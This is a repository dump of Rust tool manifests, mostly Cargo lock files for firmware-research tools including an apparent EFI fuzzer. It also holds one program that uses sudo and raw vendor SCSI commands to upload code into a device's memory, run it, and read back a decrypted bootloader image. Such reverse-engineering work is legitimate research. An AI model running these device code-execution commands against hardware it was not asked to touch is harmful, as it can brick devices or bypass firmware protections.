[[package]] 100 | name = "proc-macro2" 101 | version = "1.0.69" 102 | source = "registry+https://github.com/rust-lang/crates.io-index" 103 | checksum = "134c189feb4956b20f6f547d2cf727d4c0fe06722b20a0eec87ed445a97f92da" 104 | dependencies = [ 105 | "unicode-ident", 106 | ] 107 | 108 | [[package]] 109 | name = "quote" 110 | version = "1.0.33" 111 | source = "registry+https://github.com/rust-lang/crates.io-index" 112 | checksum = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae" 113 | dependencies = [ 114 | "proc-macro2", 115 | ] 116 | 117 | [[package]] 118 | name = "rand" 119 | version = "0.8.5" 120 | source = "registry+https://github.com/rust-lang/crates.io-index" 121 | checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" 122 | dependencies = [ 123 | "libc", 124 | "rand_chacha", 125 | "rand_core", 126 | ] 127 | 128 | [[package]] 129 | name = "rand_chacha" 130 | version = "0.3.1" 131 | source = "registry+https://github.com/rust-lang/crates.io-index" 132 | checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" 133 | dependencies = [ 134 | "ppv-lite86", 135 | "rand_core", 136 | ] 137 | 138 | [[package]] 139 | name = "rand_core" 140 | version = "0.6.4" 141 | source = "registry+https://github.com/rust-lang/crates.io-index" 142 | checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" 143 | dependencies = [ 144 | "getrandom", 145 | ] 146 | 147 | [[package]] 148 | name = "ryu" 149 | version = "1.0.15" 150 | source = "registry+https://github.com/rust-lang/crates.io-index" 151 | checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741" 152 | 153 | [[package]] 154 | name = "scroll" 155 | version = "0.11.0" 156 | source = "registry+https://github.com/rust-lang/crates.io-index" 157 | checksum = "04c565b551bafbef4157586fa379538366e4385d42082f255bfd96e4fe8519da" 158 | dependencies = [ 159 | "scroll_derive", 160 | ] 161 | 162 | [[package]] 163 | name = "scroll_derive" 164 | version = "0.11.1" 165 | source = "registry+https://github.com/rust-lang/crates.io-index" 166 | checksum = "1db149f81d46d2deba7cd3c50772474707729550221e69588478ebf9ada425ae" 167 | dependencies = [ 168 | "proc-macro2", 169 | "quote", 170 | "syn", 171 | ] 172 | 173 | [[package]] 174 | name = "serde" 175 | version = "1.0.190" 176 | source = "registry+https://github.com/rust-lang/crates.io-index" 177 | checksum = "91d3c334ca1ee894a2c6f6ad698fe8c435b76d504b13d436f0685d648d6d96f7" 178 | dependencies = [ 179 | "serde_derive", 180 | ] 181 | 182 | [[package]] 183 | name = "serde_derive" 184 | version = "1.0.190" 185 | source = "registry+https://github.com/rust-lang/crates.io-index" 186 | checksum = "67c5609f394e5c2bd7fc51efda478004ea80ef42fee983d5c67a65e34f32c0e3" 187 | dependencies = [ 188 | "proc-macro2", 189 | "quote", 190 | "syn", 191 | ] 192 | 193 | [[package]] 194 | name = "serde_json" 195 | version = "1.0.108" 196 | source = "registry+https://github.com/rust-lang/crates.io-index" 197 | checksum = "3d1c7e3eac408d115102c4c24ad393e0821bb3a5df4d506a80f85f7a742a526b" 198 | dependencies = [ 199 | "itoa", 200 | "ryu", 201 | "serde", 202 | ] 203 | 204 | [[package]] 205 | name = "syn" 206 | version = "2.0.38" 207 | source = "registry+https://github.com/rust-lang/crates.io-index" 208 | checksum = "e96b79aaa137db8f61e26363a0c9b47d8b4ec75da28b7d1d614c2303e232408b" 209 | dependencies = [ 210 | "proc-macro2", 211 | "quote", 212 | "unicode-ident", 213 | ] 214 | 215 | [[package]] 216 | name = "test_payload_in_osos" 217 | version = "0.1.0" 218 | dependencies = [ 219 | "goblin", 220 | "md5", 221 | "rand", 222 | "serde_json", 223 | "unicorn-engine", 224 | ] 225 | 226 | [[package]] 227 | name = "unicode-ident" 228 | version = "1.0.12" 229 | source = "registry+https://github.com/rust-lang/crates.io-index" 230 | checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" 231 | 232 | [[package]] 233 | name = "unicorn-engine" 234 | version = "2.0.1" 235 | source = "registry+https://github.com/rust-lang/crates.io-index" 236 | checksum = "f3b881bfd9837ff4f62e81a1e64b40a584604375ae0a73d0d5f09b7a72350b96" 237 | dependencies = [ 238 | "bitflags", 239 | "cc", 240 | "cmake", 241 | "libc", 242 | "pkg-config", 243 | ] 244 | 245 | [[package]] 246 | name = "wasi" 247 | version = "0.11.0+wasi-snapshot-preview1" 248 | source = "registry+https://github.com/rust-lang/crates.io-index" 249 | checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" 250 | -------------------------------------------------------------------------------- /tools/research/test_payload_in_osos/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "test_payload_in_osos" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | unicorn-engine = { version = "2.0.1", features = ["dynamic_linkage"]} 10 | goblin = "0.7.1" 11 | rand = "0.8.5" 12 | md5 = "0.7.0" 13 | serde_json = "1.0.108" 14 | -------------------------------------------------------------------------------- /tools/research/wtf_efi_fuzzer/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /tools/research/wtf_efi_fuzzer/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "basic_mutator" 7 | version = "0.1.0" 8 | source = "git+https://github.com/gamozolabs/basic_mutator#3f1d783243362d685bf80a1f9b30767a18172e6f" 9 | 10 | [[package]] 11 | name = "bitflags" 12 | version = "1.3.2" 13 | source = "registry+https://github.com/rust-lang/crates.io-index" 14 | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" 15 | 16 | [[package]] 17 | name = "cc" 18 | version = "1.0.83" 19 | source = "registry+https://github.com/rust-lang/crates.io-index" 20 | checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" 21 | dependencies = [ 22 | "libc", 23 | ] 24 | 25 | [[package]] 26 | name = "cfg-if" 27 | version = "1.0.0" 28 | source = "registry+https://github.com/rust-lang/crates.io-index" 29 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 30 | 31 | [[package]] 32 | name = "cmake" 33 | version = "0.1.50" 34 | source = "registry+https://github.com/rust-lang/crates.io-index" 35 | checksum = "a31c789563b815f77f4250caee12365734369f942439b7defd71e18a48197130" 36 | dependencies = [ 37 | "cc", 38 | ] 39 | 40 | [[package]] 41 | name = "getrandom" 42 | version = "0.2.10" 43 | source = "registry+https://github.com/rust-lang/crates.io-index" 44 | checksum = "be4136b2a15dd319360be1c07d9933517ccf0be8f16bf62a3bee4f0d618df427" 45 | dependencies = [ 46 | "cfg-if", 47 | "libc", 48 | "wasi", 49 | ] 50 | 51 | [[package]] 52 | name = "goblin" 53 | version = "0.7.1" 54 | source = "registry+https://github.com/rust-lang/crates.io-index" 55 | checksum = "f27c1b4369c2cd341b5de549380158b105a04c331be5db9110eef7b6d2742134" 56 | dependencies = [ 57 | "log", 58 | "plain", 59 | "scroll", 60 | ] 61 | 62 | [[package]] 63 | name = "itoa" 64 | version = "1.0.9" 65 | source = "registry+https://github.com/rust-lang/crates.io-index" 66 | checksum = "af150ab688ff2122fcef229be89cb50dd66af9e01a4ff320cc137eecc9bacc38" 67 | 68 | [[package]] 69 | name = "libc" 70 | version = "0.2.149" 71 | source = "registry+https://github.com/rust-lang/crates.io-index" 72 | checksum = "a08173bc88b7955d1b3145aa561539096c421ac8debde8cbc3612ec635fee29b" 73 | 74 | [[package]] 75 | name = "log" 76 | version = "0.4.20" 77 | source = "registry+https://github.com/rust-lang/crates.io-index" 78 | checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" 79 | 80 | [[package]] 81 | name = "md5" 82 | version = "0.7.0" 83 | source = "registry+https://github.com/rust-lang/crates.io-index" 84 | checksum = "490cc448043f947bae3cbee9c203358d62dbee0db12107a74be5c30ccfd09771" 85 | 86 | [[package]] 87 | name = "pkg-config" 88 | version = "0.3.27" 89 | source = "registry+https://github.com/rust-lang/crates.io-index" 90 | checksum = "26072860ba924cbfa98ea39c8c19b4dd6a4a25423dbdf219c1eca91aa0cf6964" 91 | 92 | [[package]] 93 | name = "plain" 94 | version = "0.2.3" 95 | source = "registry+https://github.com/rust-lang/crates.io-index" 96 | checksum = "b4596b6d070b27117e987119b4dac604f3c58cfb0b191112e24771b2faeac1a6" 97 | 98 | [[package]] 99 | name = "ppv-lite86" 100 | version = "0.2.17" 101 | source = "registry+https://github.com/rust-lang/crates.io-index" 102 | checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" 103 | 104 | [[package]] 105 | name = "proc-macro2" 106 | version = "1.0.69" 107 | source = "registry+https://github.com/rust-lang/crates.io-index" 108 | checksum = "134c189feb4956b20f6f547d2cf727d4c0fe06722b20a0eec87ed445a97f92da" 109 | dependencies = [ 110 | "unicode-ident", 111 | ] 112 | 113 | [[package]] 114 | name = "quote" 115 | version = "1.0.33" 116 | source = "registry+https://github.com/rust-lang/crates.io-index" 117 | checksum = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae" 118 | dependencies = [ 119 | "proc-macro2", 120 | ] 121 | 122 | [[package]] 123 | name = "rand" 124 | version = "0.8.5" 125 | source = "registry+https://github.com/rust-lang/crates.io-index" 126 | checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" 127 | dependencies = [ 128 | "libc", 129 | "rand_chacha", 130 | "rand_core", 131 | ] 132 | 133 | [[package]] 134 | name = "rand_chacha" 135 | version = "0.3.1" 136 | source = "registry+https://github.com/rust-lang/crates.io-index" 137 | checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" 138 | dependencies = [ 139 | "ppv-lite86", 140 | "rand_core", 141 | ] 142 | 143 | [[package]] 144 | name = "rand_core" 145 | version = "0.6.4" 146 | source = "registry+https://github.com/rust-lang/crates.io-index" 147 | checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" 148 | dependencies = [ 149 | "getrandom", 150 | ] 151 | 152 | [[package]] 153 | name = "ryu" 154 | version = "1.0.15" 155 | source = "registry+https://github.com/rust-lang/crates.io-index" 156 | checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741" 157 | 158 | [[package]] 159 | name = "scroll" 160 | version = "0.11.0" 161 | source = "registry+https://github.com/rust-lang/crates.io-index" 162 | checksum = "04c565b551bafbef4157586fa379538366e4385d42082f255bfd96e4fe8519da" 163 | dependencies = [ 164 | "scroll_derive", 165 | ] 166 | 167 | [[package]] 168 | name = "scroll_derive" 169 | version = "0.11.1" 170 | source = "registry+https://github.com/rust-lang/crates.io-index" 171 | checksum = "1db149f81d46d2deba7cd3c50772474707729550221e69588478ebf9ada425ae" 172 | dependencies = [ 173 | "proc-macro2", 174 | "quote", 175 | "syn", 176 | ] 177 | 178 | [[package]] 179 | name = "serde" 180 | version = "1.0.190" 181 | source = "registry+https://github.com/rust-lang/crates.io-index" 182 | checksum = "91d3c334ca1ee894a2c6f6ad698fe8c435b76d504b13d436f0685d648d6d96f7" 183 | dependencies = [ 184 | "serde_derive", 185 | ] 186 | 187 | [[package]] 188 | name = "serde_derive" 189 | version = "1.0.190" 190 | source = "registry+https://github.com/rust-lang/crates.io-index" 191 | checksum = "67c5609f394e5c2bd7fc51efda478004ea80ef42fee983d5c67a65e34f32c0e3" 192 | dependencies = [ 193 | "proc-macro2", 194 | "quote", 195 | "syn", 196 | ] 197 | 198 | [[package]] 199 | name = "serde_json" 200 | version = "1.0.108" 201 | source = "registry+https://github.com/rust-lang/crates.io-index" 202 | checksum = "3d1c7e3eac408d115102c4c24ad393e0821bb3a5df4d506a80f85f7a742a526b" 203 | dependencies = [ 204 | "itoa", 205 | "ryu", 206 | "serde", 207 | ] 208 | 209 | [[package]] 210 | name = "syn" 211 | version = "2.0.38" 212 | source = "registry+https://github.com/rust-lang/crates.io-index" 213 | checksum = "e96b79aaa137db8f61e26363a0c9b47d8b4ec75da28b7d1d614c2303e232408b" 214 | dependencies = [ 215 | "proc-macro2", 216 | "quote", 217 | "unicode-ident", 218 | ] 219 | 220 | [[package]] 221 | name = "unicode-ident" 222 | version = "1.0.12" 223 | source = "registry+https://github.com/rust-lang/crates.io-index" 224 | checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" 225 | 226 | [[package]] 227 | name = "unicorn-engine" 228 | version = "2.0.1" 229 | source = "registry+https://github.com/rust-lang/crates.io-index" 230 | checksum = "f3b881bfd9837ff4f62e81a1e64b40a584604375ae0a73d0d5f09b7a72350b96" 231 | dependencies = [ 232 | "bitflags", 233 | "cc", 234 | "cmake", 235 | "libc", 236 | "pkg-config", 237 | ] 238 | 239 | [[package]] 240 | name = "wasi" 241 | version = "0.11.0+wasi-snapshot-preview1" 242 | source = "registry+https://github.com/rust-lang/crates.io-index" 243 | checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" 244 | 245 | [[package]] 246 | name = "wtf_efi_fuzzer" 247 | version = "0.1.0" 248 | dependencies = [ 249 | "basic_mutator", 250 | "goblin", 251 | "md5", 252 | "rand", 253 | "serde_json", 254 | "unicorn-engine", 255 | ] 256 | -------------------------------------------------------------------------------- /tools/research/wtf_efi_fuzzer/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "wtf_efi_fuzzer" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | unicorn-engine = { version = "2.0.1", features = ["dynamic_linkage"]} 10 | goblin = "0.7.1" 11 | rand = "0.8.5" 12 | md5 = "0.7.0" 13 | serde_json = "1.0.108" 14 | basic_mutator = { git = "https://github.com/gamozolabs/basic_mutator" } -------------------------------------------------------------------------------- /tools/scsi_decrypter/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /tools/scsi_decrypter/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "arrayvec" 7 | version = "0.7.4" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "96d30a06541fbafbc7f82ed10c06164cfbd2c401138f6addd8404629c4b16711" 10 | 11 | [[package]] 12 | name = "bitflags" 13 | version = "1.3.2" 14 | source = "registry+https://github.com/rust-lang/crates.io-index" 15 | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" 16 | 17 | [[package]] 18 | name = "errno" 19 | version = "0.3.8" 20 | source = "registry+https://github.com/rust-lang/crates.io-index" 21 | checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" 22 | dependencies = [ 23 | "libc", 24 | "windows-sys 0.52.0", 25 | ] 26 | 27 | [[package]] 28 | name = "hermit-abi" 29 | version = "0.3.3" 30 | source = "registry+https://github.com/rust-lang/crates.io-index" 31 | checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" 32 | 33 | [[package]] 34 | name = "io-lifetimes" 35 | version = "1.0.11" 36 | source = "registry+https://github.com/rust-lang/crates.io-index" 37 | checksum = "eae7b9aee968036d54dce06cebaefd919e4472e753296daccd6d344e3e2df0c2" 38 | dependencies = [ 39 | "hermit-abi", 40 | "libc", 41 | "windows-sys 0.48.0", 42 | ] 43 | 44 | [[package]] 45 | name = "itoa" 46 | version = "1.0.10" 47 | source = "registry+https://github.com/rust-lang/crates.io-index" 48 | checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" 49 | 50 | [[package]] 51 | name = "libc" 52 | version = "0.2.151" 53 | source = "registry+https://github.com/rust-lang/crates.io-index" 54 | checksum = "302d7ab3130588088d277783b1e2d2e10c9e9e4a16dd9050e6ec93fb3e7048f4" 55 | 56 | [[package]] 57 | name = "linux-raw-sys" 58 | version = "0.3.8" 59 | source = "registry+https://github.com/rust-lang/crates.io-index" 60 | checksum = "ef53942eb7bf7ff43a617b3e2c1c4a5ecf5944a7c1bc12d7ee39bbb15e5c1519" 61 | 62 | [[package]] 63 | name = "num-format" 64 | version = "0.4.4" 65 | source = "registry+https://github.com/rust-lang/crates.io-index" 66 | checksum = "a652d9771a63711fd3c3deb670acfbe5c30a4072e664d7a3bf5a9e1056ac72c3" 67 | dependencies = [ 68 | "arrayvec", 69 | "itoa", 70 | ] 71 | 72 | [[package]] 73 | name = "progression" 74 | version = "0.1.15" 75 | source = "registry+https://github.com/rust-lang/crates.io-index" 76 | checksum = "e8db022de378ef58d1e90544bdf1a161367585029863116467d9f30e3b170883" 77 | dependencies = [ 78 | "num-format", 79 | "terminal_size", 80 | ] 81 | 82 | [[package]] 83 | name = "rustix" 84 | version = "0.37.27" 85 | source = "registry+https://github.com/rust-lang/crates.io-index" 86 | checksum = "fea8ca367a3a01fe35e6943c400addf443c0f57670e6ec51196f71a4b8762dd2" 87 | dependencies = [ 88 | "bitflags", 89 | "errno", 90 | "io-lifetimes", 91 | "libc", 92 | "linux-raw-sys", 93 | "windows-sys 0.48.0", 94 | ] 95 | 96 | [[package]] 97 | name = "scsi_decrypter" 98 | version = "0.1.0" 99 | dependencies = [ 100 | "progression", 101 | ] 102 | 103 | [[package]] 104 | name = "terminal_size" 105 | version = "0.2.6" 106 | source = "registry+https://github.com/rust-lang/crates.io-index" 107 | checksum = "8e6bf6f19e9f8ed8d4048dc22981458ebcf406d67e94cd422e5ecd73d63b3237" 108 | dependencies = [ 109 | "rustix", 110 | "windows-sys 0.48.0", 111 | ] 112 | 113 | [[package]] 114 | name = "windows-sys" 115 | version = "0.48.0" 116 | source = "registry+https://github.com/rust-lang/crates.io-index" 117 | checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" 118 | dependencies = [ 119 | "windows-targets 0.48.5", 120 | ] 121 | 122 | [[package]] 123 | name = "windows-sys" 124 | version = "0.52.0" 125 | source = "registry+https://github.com/rust-lang/crates.io-index" 126 | checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" 127 | dependencies = [ 128 | "windows-targets 0.52.0", 129 | ] 130 | 131 | [[package]] 132 | name = "windows-targets" 133 | version = "0.48.5" 134 | source = "registry+https://github.com/rust-lang/crates.io-index" 135 | checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" 136 | dependencies = [ 137 | "windows_aarch64_gnullvm 0.48.5", 138 | "windows_aarch64_msvc 0.48.5", 139 | "windows_i686_gnu 0.48.5", 140 | "windows_i686_msvc 0.48.5", 141 | "windows_x86_64_gnu 0.48.5", 142 | "windows_x86_64_gnullvm 0.48.5", 143 | "windows_x86_64_msvc 0.48.5", 144 | ] 145 | 146 | [[package]] 147 | name = "windows-targets" 148 | version = "0.52.0" 149 | source = "registry+https://github.com/rust-lang/crates.io-index" 150 | checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" 151 | dependencies = [ 152 | "windows_aarch64_gnullvm 0.52.0", 153 | "windows_aarch64_msvc 0.52.0", 154 | "windows_i686_gnu 0.52.0", 155 | "windows_i686_msvc 0.52.0", 156 | "windows_x86_64_gnu 0.52.0", 157 | "windows_x86_64_gnullvm 0.52.0", 158 | "windows_x86_64_msvc 0.52.0", 159 | ] 160 | 161 | [[package]] 162 | name = "windows_aarch64_gnullvm" 163 | version = "0.48.5" 164 | source = "registry+https://github.com/rust-lang/crates.io-index" 165 | checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" 166 | 167 | [[package]] 168 | name = "windows_aarch64_gnullvm" 169 | version = "0.52.0" 170 | source = "registry+https://github.com/rust-lang/crates.io-index" 171 | checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" 172 | 173 | [[package]] 174 | name = "windows_aarch64_msvc" 175 | version = "0.48.5" 176 | source = "registry+https://github.com/rust-lang/crates.io-index" 177 | checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" 178 | 179 | [[package]] 180 | name = "windows_aarch64_msvc" 181 | version = "0.52.0" 182 | source = "registry+https://github.com/rust-lang/crates.io-index" 183 | checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" 184 | 185 | [[package]] 186 | name = "windows_i686_gnu" 187 | version = "0.48.5" 188 | source = "registry+https://github.com/rust-lang/crates.io-index" 189 | checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" 190 | 191 | [[package]] 192 | name = "windows_i686_gnu" 193 | version = "0.52.0" 194 | source = "registry+https://github.com/rust-lang/crates.io-index" 195 | checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" 196 | 197 | [[package]] 198 | name = "windows_i686_msvc" 199 | version = "0.48.5" 200 | source = "registry+https://github.com/rust-lang/crates.io-index" 201 | checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" 202 | 203 | [[package]] 204 | name = "windows_i686_msvc" 205 | version = "0.52.0" 206 | source = "registry+https://github.com/rust-lang/crates.io-index" 207 | checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" 208 | 209 | [[package]] 210 | name = "windows_x86_64_gnu" 211 | version = "0.48.5" 212 | source = "registry+https://github.com/rust-lang/crates.io-index" 213 | checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" 214 | 215 | [[package]] 216 | name = "windows_x86_64_gnu" 217 | version = "0.52.0" 218 | source = "registry+https://github.com/rust-lang/crates.io-index" 219 | checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" 220 | 221 | [[package]] 222 | name = "windows_x86_64_gnullvm" 223 | version = "0.48.5" 224 | source = "registry+https://github.com/rust-lang/crates.io-index" 225 | checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" 226 | 227 | [[package]] 228 | name = "windows_x86_64_gnullvm" 229 | version = "0.52.0" 230 | source = "registry+https://github.com/rust-lang/crates.io-index" 231 | checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" 232 | 233 | [[package]] 234 | name = "windows_x86_64_msvc" 235 | version = "0.48.5" 236 | source = "registry+https://github.com/rust-lang/crates.io-index" 237 | checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" 238 | 239 | [[package]] 240 | name = "windows_x86_64_msvc" 241 | version = "0.52.0" 242 | source = "registry+https://github.com/rust-lang/crates.io-index" 243 | checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" 244 | -------------------------------------------------------------------------------- /tools/scsi_decrypter/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "scsi_decrypter" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | progression = "0.1.15" 10 | sudo = "0.6.0" -------------------------------------------------------------------------------- /tools/scsi_decrypter/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::error::Error; 2 | use std::process::Command; 3 | use std::process::Stdio; 4 | use std::time::Duration; 5 | 6 | const CODE_ADDR_N6G: [&'static str; 4] = ["08", "37", "98", "b4"]; 7 | const CALL_ADDR_N6G: [&'static str; 4] = ["08", "37", "98", "b5"]; 8 | const INPUT_ADDR_N6G: [&'static str; 4] = ["08", "2c", "47", "54"]; 9 | 10 | const CODE_ADDR_N7G: [&'static str; 4] = ["08", "49", "69", "6c"]; 11 | const CALL_ADDR_N7G: [&'static str; 4] = ["08", "49", "69", "6d"]; 12 | const INPUT_ADDR_N7G: [&'static str; 4] = ["08", "49", "2a", "50"]; 13 | 14 | const CODE_ADDR: [&'static str; 4] = CODE_ADDR_N7G; 15 | const INPUT_ADDR: [&'static str; 4] = INPUT_ADDR_N7G; 16 | const CALL_ADDR: [&'static str; 4] = CALL_ADDR_N7G; 17 | 18 | fn main() -> Result<(), Box> { 19 | sudo::escalate_if_needed()?; 20 | 21 | // First upload the decrypter via scsi 22 | //sudo sg_raw -i dec.bin -s 40 -v /dev/sda c6 96 01 08 37 98 b4 -vvv 23 | Command::new("sg_raw") 24 | .stdout(Stdio::null()) 25 | .stderr(Stdio::null()) 26 | .arg("-i") 27 | .arg("dec.bin") 28 | .arg("-s") 29 | .arg("44") 30 | .arg("/dev/sdc") 31 | .arg("c6") 32 | .arg("96") 33 | .arg("01") 34 | .arg(CODE_ADDR[0]) 35 | .arg(CODE_ADDR[1]) 36 | .arg(CODE_ADDR[2]) 37 | .arg(CODE_ADDR[3]) 38 | .status() 39 | .unwrap(); 40 | 41 | const CHUNK_SIZE: usize = 512; 42 | const DEC_CHUNK_SZ: usize = 0x100; 43 | 44 | let enc_fw = std::fs::read("n7g_bootloader.img1").unwrap(); 45 | let mut dec_fw = Vec::new(); 46 | 47 | let prg = progression::Bar::new( 48 | enc_fw.len() as u64 + DEC_CHUNK_SZ as u64 * 2, 49 | progression::Config::unicode(), 50 | ); 51 | let mut off = 0; 52 | loop { 53 | let chk = &enc_fw[off..]; 54 | 55 | let chk = if chk.len() > 512 { &chk[..512] } else { chk }; 56 | 57 | let mut tmp = vec![0u8; CHUNK_SIZE]; 58 | tmp[..chk.len()].copy_from_slice(chk); 59 | 60 | // Write chunk to mem 61 | std::fs::write("temp.bin", &tmp).unwrap(); 62 | 63 | Command::new("sg_raw") 64 | .stdout(Stdio::null()) 65 | .stderr(Stdio::null()) 66 | .arg("-i") 67 | .arg("temp.bin") 68 | .arg("-s") 69 | .arg(&format!("{}", CHUNK_SIZE)) 70 | .arg("/dev/sdc") 71 | .arg("c6") 72 | .arg("96") 73 | .arg("01") 74 | .arg(INPUT_ADDR[0]) 75 | .arg(INPUT_ADDR[1]) 76 | .arg(INPUT_ADDR[2]) 77 | .arg(INPUT_ADDR[3]) 78 | .status() 79 | .unwrap(); 80 | 81 | // Call decryption func 82 | // sudo sg_raw -vvvv /dev/sda c6 96 03 08 37 98 b5 83 | 84 | Command::new("sg_raw") 85 | .stdout(Stdio::null()) 86 | .stderr(Stdio::null()) 87 | .arg("/dev/sdc") 88 | .arg("c6") 89 | .arg("96") 90 | .arg("03") 91 | .arg(CALL_ADDR[0]) 92 | .arg(CALL_ADDR[1]) 93 | .arg(CALL_ADDR[2]) 94 | .arg(CALL_ADDR[3]) 95 | .status() 96 | .unwrap(); 97 | 98 | // Read decrypted data back 99 | // sudo sg_raw -o dump.bin -r 64k -v /dev/sda c6 96 02 08 2c 47 54 && xxd dump.bin 100 | 101 | Command::new("sg_raw") 102 | .stdout(Stdio::null()) 103 | .stderr(Stdio::null()) 104 | .arg("-o") 105 | .arg("temp-read.bin") 106 | .arg("-r") 107 | .arg(&format!("{}", CHUNK_SIZE)) 108 | .arg("/dev/sdc") 109 | .arg("c6") 110 | .arg("96") 111 | .arg("02") 112 | .arg(INPUT_ADDR[0]) 113 | .arg(INPUT_ADDR[1]) 114 | .arg(INPUT_ADDR[2]) 115 | .arg(INPUT_ADDR[3]) 116 | .status() 117 | .unwrap(); 118 | 119 | let dec = std::fs::read("./temp-read.bin").unwrap(); 120 | let dec = if off == 0 { 121 | dec[..DEC_CHUNK_SZ + 0x10].to_vec() 122 | } else { 123 | dec[0x10..][..DEC_CHUNK_SZ].to_vec() 124 | }; 125 | 126 | dec_fw.extend_from_slice(&dec); 127 | 128 | std::fs::write("./n7g_bootloader.img1.dec", &dec_fw).unwrap(); 129 | std::thread::sleep(Duration::from_millis(1)); 130 | off += DEC_CHUNK_SZ; 131 | prg.inc(DEC_CHUNK_SZ as _); 132 | 133 | if off > enc_fw.len() { 134 | break; 135 | } 136 | } 137 | prg.finish(); 138 | 139 | Ok(()) 140 | } 141 | -------------------------------------------------------------------------------- /tools/scsi_dumper/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /tools/scsi_dumper/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "arrayvec" 7 | version = "0.7.4" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "96d30a06541fbafbc7f82ed10c06164cfbd2c401138f6addd8404629c4b16711" 10 | 11 | [[package]] 12 | name = "bitflags" 13 | version = "1.3.2" 14 | source = "registry+https://github.com/rust-lang/crates.io-index" 15 | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" 16 | 17 | [[package]] 18 | name = "errno" 19 | version = "0.3.8" 20 | source = "registry+https://github.com/rust-lang/crates.io-index" 21 | checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" 22 | 